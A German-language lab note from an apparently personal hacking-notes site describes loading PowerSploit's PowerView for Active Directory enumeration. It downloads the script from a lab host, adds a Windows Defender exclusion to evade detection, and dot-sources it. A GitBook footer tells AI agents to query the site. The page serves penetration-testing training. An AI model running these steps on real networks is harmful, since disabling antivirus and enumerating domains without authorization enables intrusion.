> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/active-directory/enumeration/powerview.md).

# PowerView

{% embed url="<https://github.com/PowerShellMafia/PowerSploit>" %}

### Zweck von PowerView

**PowerView** ist ein PowerShell-Modul, das für die Aufzählung von Active Directory verwendet wird.

Insbesondere ermöglicht es Ihnen, Informationen zu folgenden Punkten abzurufen:

* Domänenbenutzer;
* Gruppen;
* Computer;
* aktive Sitzungen;
* Netzwerkfreigaben;
* GPOs;
* ACLs;
* Domänencontroller;
* Gesamtstruktur- und Domänenbeziehungen.

In diesem Labor:

* auf `WS01`, verwenden wir **PowerView**;
* auf `WS02`, verwenden wir stattdessen native PowerShell-Befehle oder das Active-Directory-Modul.

### PowerView-Wiederherstellung

Wir rufen das folgende Skript aus dem **PowerSploit** Projekt ab:

```bash
PowerSploit/Recon/PowerView.ps1
```

Von der Windows-Maschine aus können Sie es mit folgendem Befehl herunterladen:

```powershell
iwr -uri "http://172.16.0.2:8000/PowerView.ps1" -OutFile "PowerView.ps1"
```

### Problem mit Windows Defender

Standardmäßig, **Windows Defender** kann blockieren `PowerView.ps1`, da es oft als offensives Werkzeug erkannt wird.

In einer Laborumgebung können Sie den aktuellen Ordner als Ausnahme hinzufügen.

Zum Ausführen in PowerShell als Administrator:

```powershell
Add-MpPreference -ExclusionPath (Get-Location).Path
```

Dann importieren wir PowerView:

```powershell
. ./PowerView.ps1
```

Der Punkt gefolgt von einem Leerzeichen lädt die Skriptfunktionen in die aktuelle PowerShell-Sitzung.

<figure><img src="/files/3b442335eea3c6fcfdbe353d4d7c98d8e27ac437" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/active-directory/enumeration/powerview.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
